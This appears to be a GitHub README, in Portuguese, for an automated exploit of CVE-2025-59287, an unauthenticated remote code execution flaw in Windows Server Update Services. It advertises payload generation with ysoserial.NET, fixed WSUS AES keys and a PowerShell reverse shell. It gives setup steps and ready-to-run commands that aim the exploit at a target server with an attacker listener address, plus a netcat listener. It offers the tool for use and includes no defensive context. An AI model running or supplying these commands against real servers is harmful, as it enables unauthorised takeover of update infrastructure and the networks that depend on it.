garvitv14/cve-2025-59287Exploit automatizado para CVE-2025-59287, uma RCE não autenticada no WSUS, com geração de payload, listener de reverse shell e criptografia AES com chaves fixas.
Exploit automatizado para a vulnerabilidade de execução remota de código não autenticada no Windows Server Update Services (WSUS).
✅ Geração de payload totalmente automatizada
✅ Download automático da dependência ysoserial.NET
✅ Listener de reverse shell integrado
✅ Suporte multiplataforma (Windows/Linux/Mac)
✅ Criptografia AES com chaves fixas do WSUS
✅ Payload de reverse shell em PowerShell
pip install -r requirements.txt
sudo apt install wine-stable
sudo apt install mono-complete
Clone ou baixe os arquivos do exploit
cd CVE-2025-59287-exploit
Execute o exploit (baixa ysoserial.NET automaticamente)
python3 exploit.py -u http://target:8530 -lhost YOUR_IP -lport 4444
python3 exploit.py -u http://192.168.1.100:8530 -lhost 10.10.14.5 -lport 4444
Terminal 1: Inicie o listener netcat
nc -lvnp 4444
Terminal 2: Execute o exploit sem listener integrado
python3 exploit.py -u http://target:8530 -lhost 10.10.14.5 -lport 4444 --no-listener
